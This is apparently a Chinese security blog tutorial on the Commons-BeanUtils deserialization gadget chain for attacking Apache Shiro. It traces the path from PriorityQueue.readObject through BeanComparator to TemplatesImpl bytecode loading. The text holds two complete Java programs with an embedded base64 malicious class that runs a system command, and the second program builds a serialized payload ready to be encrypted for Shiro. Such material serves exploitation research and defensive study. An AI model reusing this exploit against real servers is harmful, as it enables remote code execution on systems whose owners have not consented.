前篇shiro的利用,需要动态字节码 ,而这种方式需要我们自己添加依赖,所以很局限,而CommonsBeanutils 是shiro的依赖, CommonsBeanutils 是应用于 javabean 的工具
类必须是具体的和公共的,并且具有无参的构造器,JavaBean通过提供符合一致性设计模式的公共方法将内部域暴露成员属性,set和get方法获取。简单来说就是必须是个public 类且有无参构造器和对应的 get 和 set 方法,且可序列化
Test
类似于,有pulic类 无参构造器,对应的set 和 get
public class Person {public String name;public int age;public Person() {}public Person(String name, int age) {this.name = name;this.age = age;}public String getName() {return name;}public int getAge() {return age;}public void setName(String name) {this.name = name;}public void setAge(int age) {this.age = age;}
}
commons-beanutils 是应用于javabean的工具,他提供了一种动态的getter 方法
如果一个Person 类是 JavaBean ,他有一个name属性,则
PropertyUtils.getProperty(new Person(),"name")会调用他的 getName()方法
正常方式调用一个类方法:
Person person = new Person("snowy",17);
System.out.println(person.getName());
PropertyUtils.getProperty 方式调用:
Person person = new Person("snowy",17);
System.out.println(PropertyUtils.getProperty(person,"name"));
如果报错 需要加maven 依赖
commons-logging commons-logging 1.2
这里传入的是name, getProperty() 会将 name 的首字母大写 成 Name ,然后加上get,最后调用的是 getName() 而这种方式,不光可以调用getter,而是可以调用任意方法,无论他有没有, 如果我们传入的是 aaa 则会调用getAaa()
结合到前面的动态字节码 Templateslmpl类,其中 getOutputProperties 是get 开头的,便可以逐个执行动态字节码文件。
TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
TemplatesImpl.getTransletInstance() ->
TemplatesImpl.defineTransletClasses() ->
TransletClassLoader.defineClass
跟进分析一下 getProperty() 的实现流程,跟进 getProperty()
public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {return PropertyUtilsBean.getInstance().getProperty(bean, name);}
跟进
public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {return this.getNestedProperty(bean, name);}
调用了新方法,getNestedProperty(),下方会检测传入类型是否为map、索引,不是所以走到了getSimpleProperty()
跟进,之后会走到
Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
跟进invokeMethod()
会给value 加上 get 并大写后个字母
所以这里就可以联想到TemplatesImpl#getOutputProperties()
,实现形式:
System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));
很好理解,前面加上get 将O大写就实现了。
这里可以结合CC3的链子进行测试
public class BeanComparatorCC3 {public static void main(String[] args) throws Exception {Templates templates = new TemplatesImpl();byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");setFieldValue(templates,"_name","snowy");setFieldValue(templates,"_bytecodes",new byte[][]{bytes});setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());templates.newTransformer();System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));//TemplatesImpl.getOutputProperties() ->//TemplatesImpl.newTransformer() ->//TemplatesImpl.getTransletInstance() ->//TemplatesImpl.defineTransletClasses() ->//TransletClassLoader.defineClass}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}
可以成功。
试着找一条反序列化的利用方式。
返回去看看谁调用了 getProperty()
而cc2 在这条链子上 的有限队列类 PriorityQueue的反序列化 readObject()方法中有调用到compare(), 如图:
所以整条链子能够 很明显的浮现
PriorityQueue.readObject() ->
BeanComparator.compare() ->
PropertyUtils.getProperty() ->
TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
defineClass.newInstance()
POC
package shiro;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;public class shiroCB {public static void main(String[] args) throws Exception {//CC3Templates templates = new TemplatesImpl();byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");setFieldValue(templates,"_name","snowy");setFieldValue(templates,"_bytecodes",new byte[][]{bytes});//Commons-BeanutilsBeanComparator beanComparator = new BeanComparator("outputProperties");//CC2TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);priorityQueue.add(templates);priorityQueue.add(2);setFieldValue(priorityQueue,"comparator",beanComparator);serialize(priorityQueue);unserialize("1.txt");}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));out.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));Object o = In.readObject();return o;}
老方法利用,要用脚本加密。